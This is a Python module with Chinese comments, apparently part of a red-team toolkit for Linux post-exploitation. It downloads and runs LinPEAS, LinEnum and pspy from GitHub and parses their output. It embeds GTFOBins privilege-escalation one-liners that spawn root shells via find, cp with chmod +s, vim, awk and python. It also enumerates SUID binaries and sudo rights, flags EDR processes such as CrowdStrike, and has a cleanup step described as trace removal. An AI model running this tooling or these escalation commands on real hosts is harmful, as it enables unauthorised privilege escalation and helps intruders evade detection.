#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
外部红队工具集成模块
实现常见Linux红队工具的自动下载、执行和清理

支持的工具:
1. LinPEAS - Linux提权漏洞扫描
2. LinEnum - Linux系统信息枚举
3. pspy - 无权限进程监控
4. GTFOBins - 合法二进制提权利用

主要功能:
- 自动下载和缓存工具
- 智能执行和结果解析
- 自动清理和痕迹消除
- 工具版本管理
"""

import os
import sys
import time
import json
import hashlib
import tempfile
import subprocess
import urllib.request
import urllib.parse
import shutil
import stat
import re
import threading
from typing import Dict, List, Optional, Tuple, Any, Union
from dataclasses import dataclass, field
from enum import Enum
import platform
import zipfile
import tarfile

class ToolType(Enum):
    """工具类型枚举"""
    ENUMERATION = "enumeration"
    PRIVILEGE_ESCALATION = "privilege_escalation"
    MONITORING = "monitoring"
    EXPLOITATION = "exploitation"
    PERSISTENCE = "persistence"

class ToolStatus(Enum):
    """工具状态枚举"""
    NOT_INSTALLED = "not_installed"
    DOWNLOADING = "downloading"
    INSTALLED = "installed"
    RUNNING = "running"
    COMPLETED = "completed"
    FAILED = "failed"

@dataclass
class ToolInfo:
    """工具信息结构"""
    name: str
    description: str
    tool_type: ToolType
    download_url: str
    version: str
    file_hash: str
    executable_name: str
    install_path: str = ""
    status: ToolStatus = ToolStatus.NOT_INSTALLED
    last_updated: float = 0.0
    dependencies: List[str] = field(default_factory=list)

@dataclass
class ExecutionResult:
    """执行结果结构"""
    success: bool
    output: str
    error: str
    execution_time: float
    exit_code: int
    parsed_data: Dict[str, Any] = field(default_factory=dict)

class LinPEAS:
    """LinPEAS - Linux提权漏洞扫描工具"""
    
    def __init__(self, tools_dir: str):
        self.tools_dir = tools_dir
        self.tool_info = ToolInfo(
            name="LinPEAS",
            description="Linux Privilege Escalation Awesome Script",
            tool_type=ToolType.PRIVILEGE_ESCALATION,
            download_url="https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh",
            version="latest",
            file_hash="",  # 动态获取
            executable_name="linpeas.sh"
        )
        self.install_path = os.path.join(tools_dir, "linpeas.sh")
    
    def parse_output(self, output: str) -> Dict[str, Any]:
        """解析LinPEAS输出"""
        parsed = {
            "vulnerabilities": [],
            "interesting_files": [],
            "sudo_permissions": [],
            "suid_binaries": [],
            "writable_folders": [],
            "network_info": {},
            "processes": [],
            "cron_jobs": []
        }
        
        lines = output.split('\n')
        current_section = None
        
        for line in lines:
            line = line.strip()
            
            # 检测漏洞
            if "CVE-" in line or "VULNERABLE" in line.upper():
                parsed["vulnerabilities"].append(line)
            
            # SUID二进制文件
            elif line.startswith("/") and "s" in line and ("bin/" in line or "usr/" in line):
                parsed["suid_binaries"].append(line)
            
            # Sudo权限
            elif "sudo" in line.lower() and ("NOPASSWD" in line or "ALL" in line):
                parsed["sudo_permissions"].append(line)
            
            # 可写文件夹
            elif line.startswith("/") and "w" in line and ("tmp" in line or "var" in line):
                parsed["writable_folders"].append(line)
            
            # 网络信息
            elif "listening" in line.lower() or "LISTEN" in line:
                parsed["network_info"][line] = True
            
            # 进程信息
            elif "root" in line and ("python" in line or "bash" in line or "sh" in line):
                parsed["processes"].append(line)
            
            # Cron任务
            elif "cron" in line.lower() or "*/1" in line or "*/5" in line:
                parsed["cron_jobs"].append(line)
        
        return parsed
    
    def get_recommendations(self, parsed_data: Dict[str, Any]) -> List[str]:
        """基于扫描结果提供建议"""
        recommendations = []
        
        if parsed_data["vulnerabilities"]:
            recommendations.append("发现内核漏洞，建议使用相应的exploit进行提权")
        
        if parsed_data["suid_binaries"]:
            recommendations.append("发现SUID二进制文件，检查GTFOBins获取提权方法")
        
        if parsed_data["sudo_permissions"]:
            recommendations.append("发现sudo权限，可能可以直接提权")
        
        if parsed_data["writable_folders"]:
            recommendations.append("发现可写目录，可用于权限维持或横向移动")
        
        if not recommendations:
            recommendations.append("未发现明显的提权路径，建议进行更深入的手动枚举")
        
        return recommendations

class LinEnum:
    """LinEnum - Linux系统信息枚举工具"""
    
    def __init__(self, tools_dir: str):
        self.tools_dir = tools_dir
        self.tool_info = ToolInfo(
            name="LinEnum",
            description="Linux Enumeration Script",
            tool_type=ToolType.ENUMERATION,
            download_url="https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh",
            version="latest",
            file_hash="",
            executable_name="LinEnum.sh"
        )
        self.install_path = os.path.join(tools_dir, "LinEnum.sh")
    
    def parse_output(self, output: str) -> Dict[str, Any]:
        """解析LinEnum输出"""
        parsed = {
            "system_info": {},
            "users": [],
            "groups": [],
            "network": {},
            "services": [],
            "installed_packages": [],
            "environment_variables": {},
            "file_permissions": []
        }
        
        lines = output.split('\n')
        current_section = None
        
        for line in lines:
            line = line.strip()
            
            # 系统信息
            if "Kernel information" in line:
                current_section = "kernel"
            elif "Operating system" in line:
                current_section = "os"
            elif current_section == "kernel" and line:
                parsed["system_info"]["kernel"] = line
            elif current_section == "os" and line:
                parsed["system_info"]["os"] = line
            
            # 用户信息
            elif line.startswith("uid=") or line.startswith("gid="):
                parsed["users"].append(line)
            
            # 网络信息
            elif "tcp" in line.lower() or "udp" in line.lower():
                parsed["network"][line] = True
            
            # 服务信息
            elif "systemd" in line or "service" in line:
                parsed["services"].append(line)
            
            # 环境变量
            elif "=" in line and line.isupper():
                key, value = line.split("=", 1)
                parsed["environment_variables"][key] = value
        
        return parsed

class PsPy:
    """pspy - 无权限进程监控工具"""
    
    def __init__(self, tools_dir: str):
        self.tools_dir = tools_dir
        self.tool_info = ToolInfo(
            name="pspy",
            description="Monitor linux processes without root permissions",
            tool_type=ToolType.MONITORING,
            download_url="https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64",
            version="latest",
            file_hash="",
            executable_name="pspy64"
        )
        self.install_path = os.path.join(tools_dir, "pspy64")
    
    def parse_output(self, output: str) -> Dict[str, Any]:
        """解析pspy输出"""
        parsed = {
            "new_processes": [],
            "file_system_events": [],
            "interesting_commands": [],
            "potential_privesc": [],
            "edr_processes": [],
            "admin_processes": []
        }
        
        lines = output.split('\n')
        
        for line in lines:
            line = line.strip()
            
            # 新进程
            if "CMD:" in line:
                parsed["new_processes"].append(line)
                
                # 检测有趣的命令
                if any(keyword in line.lower() for keyword in ["sudo", "su", "passwd", "ssh", "cron"]):
                    parsed["interesting_commands"].append(line)
                
                # 检测潜在提权机会
                if any(keyword in line.lower() for keyword in ["root", "chmod", "chown", "cp", "mv"]):
                    parsed["potential_privesc"].append(line)
                
                # 检测EDR进程
                if any(edr in line.lower() for edr in ["crowdstrike", "sentinelone", "cylance", "defender"]):
                    parsed["edr_processes"].append(line)
                
                # 检测管理员进程
                if "UID=0" in line or "root" in line:
                    parsed["admin_processes"].append(line)
            
            # 文件系统事件
            elif "FS:" in line:
                parsed["file_system_events"].append(line)
        
        return parsed
    
    def detect_edr_monitoring(self, parsed_data: Dict[str, Any]) -> bool:
        """检测是否存在EDR监控"""
        return len(parsed_data["edr_processes"]) > 0

class GTFOBins:
    """GTFOBins - 合法二进制提权利用"""
    
    def __init__(self, tools_dir: str):
        self.tools_dir = tools_dir
        self.gtfobins_db = self._load_gtfobins_database()
    
    def _load_gtfobins_database(self) -> Dict[str, Dict]:
        """加载GTFOBins数据库"""
        # 简化的GTFOBins数据库
        return {
            "find": {
                "sudo": ["sudo find . -exec /bin/sh \\; -quit"],
                "suid": ["./find . -exec /bin/sh -p \\; -quit"],
                "capabilities": ["./find . -exec /bin/sh \\; -quit"]
            },
            "cp": {
                "sudo": ["sudo cp /bin/sh /tmp/sh", "sudo chmod +s /tmp/sh", "/tmp/sh -p"],
                "suid": ["./cp /bin/sh /tmp/sh", "chmod +s /tmp/sh", "/tmp/sh -p"]
            },
            "vim": {
                "sudo": ["sudo vim -c ':!/bin/sh'"],
                "suid": ["./vim -c ':set shell=/bin/sh' -c ':shell'"]
            },
            "less": {
                "sudo": ["sudo less /etc/profile", "!/bin/sh"],
                "suid": ["./less /etc/profile", "!/bin/sh"]
            },
            "more": {
                "sudo": ["sudo more /etc/profile", "!/bin/sh"],
                "suid": ["./more /etc/profile", "!/bin/sh"]
            },
            "awk": {
                "sudo": ["sudo awk 'BEGIN {system(\"/bin/sh\")}'"],
                "suid": ["./awk 'BEGIN {system(\"/bin/sh\")}' "]
            },
            "python": {
                "sudo": ["sudo python -c 'import os; os.system(\"/bin/sh\")'"],
                "suid": ["./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'"]
            },
            "python3": {
                "sudo": ["sudo python3 -c 'import os; os.system(\"/bin/sh\")'"],
                "suid": ["./python3 -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'"]
            }
        }
    
    def find_suid_binaries(self) -> List[str]:
        """查找SUID二进制文件"""
        try:
            result = subprocess.run(
                ["find", "/", "-perm", "-4000", "-type", "f", "2>/dev/null"],
                capture_output=True, text=True, timeout=30
            )
            return [line.strip() for line in result.stdout.split('\n') if line.strip()]
        except Exception:
            return []
    
    def find_sudo_permissions(self) -> List[str]:
        """查找sudo权限"""
        try:
            result = subprocess.run(
                ["sudo", "-l"], capture_output=True, text=True, timeout=10
            )
            return [line.strip() for line in result.stdout.split('\n') if line.strip()]
        except Exception:
            return []
    
    def get_exploitation_methods(self, binary_path: str, context: str = "suid") -> List[str]:
        """获取二进制文件的利用方法"""
        binary_name = os.path.basename(binary_path)
        
        if binary_name in self.gtfobins_db:
            methods = self.gtfobins_db[binary_name].get(context, [])
            # 替换路径占位符
            return [method.replace("./", binary_path + " ") for method in methods]
        
        return []
    
    def analyze_system(self) -> Dict[str, Any]:
        """分析系统中的提权机会"""
        analysis = {
            "suid_binaries": [],
            "sudo_permissions": [],
            "exploitation_methods": {},
            "recommendations": []
        }
        
        # 查找SUID二进制文件
        suid_binaries = self.find_suid_binaries()
        analysis["suid_binaries"] = suid_binaries
        
        # 查找sudo权限
        sudo_perms = self.find_sudo_permissions()
        analysis["sudo_permissions"] = sudo_perms
        
        # 分析利用方法
        for binary in suid_binaries:
            binary_name = os.path.basename(binary)
            if binary_name in self.gtfobins_db:
                methods = self.get_exploitation_methods(binary, "suid")
                if methods:
                    analysis["exploitation_methods"][binary] = methods
                    analysis["recommendations"].append(f"可利用SUID二进制: {binary}")
        
        # 分析sudo权限
        for perm in sudo_perms:
            for binary_name in self.gtfobins_db.keys():
                if binary_name in perm:
                    methods = self.gtfobins_db[binary_name].get("sudo", [])
                    if methods:
                        analysis["exploitation_methods"][f"sudo_{binary_name}"] = methods
                        analysis["recommendations"].append(f"可利用sudo权限: {binary_name}")
        
        return analysis

class ExternalToolsManager:
    """外部工具管理器"""
    
    def __init__(self, tools_dir: str = None):
        if tools_dir is None:
            tools_dir = os.path.join(tempfile.gettempdir(), "redteam_tools")
        
        self.tools_dir = tools_dir
        self.ensure_tools_directory()
        
        # 初始化工具
        self.linpeas = LinPEAS(self.tools_dir)
        self.linenum = LinEnum(self.tools_dir)
        self.pspy = PsPy(self.tools_dir)
        self.gtfobins = GTFOBins(self.tools_dir)
        
        self.tools = {
            "linpeas": self.linpeas,
            "linenum": self.linenum,
            "pspy": self.pspy,
            "gtfobins": self.gtfobins
        }
        
        self.execution_history = []
    
    def ensure_tools_directory(self):
        """确保工具目录存在"""
        if not os.path.exists(self.tools_dir):
            os.makedirs(self.tools_dir, mode=0o755)
    
    def download_tool(self, tool_name: str) -> bool:
        """下载工具"""
        if tool_name not in self.tools:
            return False
        
        tool = self.tools[tool_name]
        if hasattr(tool, 'tool_info'):
            tool_info = tool.tool_info
            tool_info.status = ToolStatus.DOWNLOADING
            
            try:
                print(f"[*] Downloading {tool_info.name}...")
                
                # 下载文件
                urllib.request.urlretrieve(tool_info.download_url, tool.install_path)
                
                # 设置执行权限
                os.chmod(tool.install_path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IROTH)
                
                tool_info.status = ToolStatus.INSTALLED
                tool_info.last_updated = time.time()
                
                print(f"[+] {tool_info.name} downloaded successfully")
                return True
                
            except Exception as e:
                print(f"[-] Failed to download {tool_info.name}: {e}")
                tool_info.status = ToolStatus.FAILED
                return False
        
        return True  # GTFOBins不需要下载
    
    def is_tool_available(self, tool_name: str) -> bool:
        """检查工具是否可用"""
        if tool_name not in self.tools:
            return False
        
        tool = self.tools[tool_name]
        if tool_name == "gtfobins":
            return True  # GTFOBins是内置的
        
        return hasattr(tool, 'install_path') and os.path.exists(tool.install_path)
    
    def execute_tool(self, tool_name: str, args: List[str] = None, timeout: int = 300) -> ExecutionResult:
        """执行工具"""
        if tool_name not in self.tools:
            return ExecutionResult(False, "", f"Unknown tool: {tool_name}", 0, -1)
        
        # 确保工具已下载
        if not self.is_tool_available(tool_name):
            if not self.download_tool(tool_name):
                return ExecutionResult(False, "", f"Failed to download {tool_name}", 0, -1)
        
        tool = self.tools[tool_name]
        start_time = time.time()
        
        try:
            if tool_name == "gtfobins":
                # GTFOBins分析
                analysis = tool.analyze_system()
                output = json.dumps(analysis, indent=2)
                result = ExecutionResult(True, output, "", time.time() - start_time, 0)
                result.parsed_data = analysis
                
            else:
                # 执行外部工具
                if hasattr(tool, 'tool_info'):
                    tool.tool_info.status = ToolStatus.RUNNING
                
                cmd = [tool.install_path]
                if args:
                    cmd.extend(args)
                
                process = subprocess.run(
                    cmd, capture_output=True, text=True, timeout=timeout
                )
                
                execution_time = time.time() - start_time
                result = ExecutionResult(
                    success=process.returncode == 0,
                    output=process.stdout,
                    error=process.stderr,
                    execution_time=execution_time,
                    exit_code=process.returncode
                )
                
                # 解析输出
                if hasattr(tool, 'parse_output'):
                    result.parsed_data = tool.parse_output(result.output)
                
                if hasattr(tool, 'tool_info'):
                    tool.tool_info.status = ToolStatus.COMPLETED
            
            # 记录执行历史
            self.execution_history.append({
                "tool": tool_name,
                "timestamp": time.time(),
                "success": result.success,
                "execution_time": result.execution_time
            })
            
            return result
            
        except subprocess.TimeoutExpired:
            return ExecutionResult(False, "", f"Tool execution timed out after {timeout}s", 
                                 time.time() - start_time, -1)
        except Exception as e:
            return ExecutionResult(False, "", f"Execution error: {e}", 
                                 time.time() - start_time, -1)
    
    def run_enumeration_suite(self) -> Dict[str, ExecutionResult]:
        """运行完整的枚举套件"""
        print("[*] Starting enumeration suite...")
        
        results = {}
        
        # 1. 运行LinEnum进行基础枚举
        print("[*] Running LinEnum for basic enumeration...")
        results["linenum"] = self.execute_tool("linenum", ["-t"])
        
        # 2. 运行LinPEAS进行提权扫描
        print("[*] Running LinPEAS for privilege escalation...")
        results["linpeas"] = self.execute_tool("linpeas")
        
        # 3. 运行GTFOBins分析
        print("[*] Running GTFOBins analysis...")
        results["gtfobins"] = self.execute_tool("gtfobins")
        
        # 4. 启动pspy监控（短时间）
        print("[*] Running pspy for process monitoring...")
        results["pspy"] = self.execute_tool("pspy", ["-i", "1000"], timeout=60)
        
        return results
    
    def generate_report(self, results: Dict[str, ExecutionResult]) -> str:
        """生成综合报告"""
        report = []
        report.append("=== 红队工具执行报告 ===\n")
        report.append(f"执行时间: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
        
        # 执行摘要
        report.append("## 执行摘要")
        for tool_name, result in results.items():
            status = "成功" if result.success else "失败"
            report.append(f"- {tool_name}: {status} (耗时: {result.execution_time:.2f}s)")
        report.append("")
        
        # 关键发现
        report.append("## 关键发现")
        
        # LinPEAS发现
        if "linpeas" in results and results["linpeas"].parsed_data:
            data = results["linpeas"].parsed_data
            if data.get("vulnerabilities"):
                report.append("### 发现的漏洞:")
                for vuln in data["vulnerabilities"][:5]:  # 只显示前5个
                    report.append(f"- {vuln}")
            
            if data.get("suid_binaries"):
                report.append("### SUID二进制文件:")
                for binary in data["suid_binaries"][:10]:
                    report.append(f"- {binary}")
        
        # GTFOBins分析
        if "gtfobins" in results and results["gtfobins"].parsed_data:
            data = results["gtfobins"].parsed_data
            if data.get("recommendations"):
                report.append("### 提权建议:")
                for rec in data["recommendations"]:
                    report.append(f"- {rec}")
        
        # pspy监控
        if "pspy" in results and results["pspy"].parsed_data:
            data = results["pspy"].parsed_data
            if data.get("edr_processes"):
                report.append("### 检测到EDR进程:")
                for proc in data["edr_processes"]:
                    report.append(f"- {proc}")
            
            if data.get("interesting_commands"):
                report.append("### 有趣的命令:")
                for cmd in data["interesting_commands"][:5]:
                    report.append(f"- {cmd}")
        
        return "\n".join(report)
    
    def cleanup_tools(self):
        """清理工具文件"""
        try:
            if os.path.exists(self.tools_dir):
                shutil.rmtree(self.tools_dir)
                print(f"[+] Cleaned up tools directory: {self.tools_dir}")
        except Exception as e:
            print(f"[-] Failed to cleanup tools: {e}")
    
    def get_tool_status(self) -> Dict[str, Dict]:
        """获取所有工具状态"""
        status = {}
        for tool_name, tool in self.tools.items():
            if hasattr(tool, 'tool_info'):
                info = tool.tool_info
                status[tool_name] = {
                    "name": info.name,
                    "status": info.status.value,
                    "available": self.is_tool_available(tool_name),
                    "last_updated": info.last_updated
                }
            else:
                status[tool_name] = {
                    "name": tool_name,
                    "status": "built-in",
                    "available": True,
                    "last_updated": 0
                }
        
        return status

# 使用示例
if __name__ == "__main__":
    print("=== 外部工具管理器测试 ===")
    
    # 创建工具管理器
    manager = ExternalToolsManager()
    
    # 检查工具状态
    print("\n工具状态:")
    status = manager.get_tool_status()
    for tool, info in status.items():
        print(f"- {info['name']}: {info['status']} (可用: {info['available']})")
    
    # 运行枚举套件
    print("\n开始运行枚举套件...")
    results = manager.run_enumeration_suite()
    
    # 生成报告
    report = manager.generate_report(results)
    print("\n" + report)
    
    # 清理
    # manager.cleanup_tools()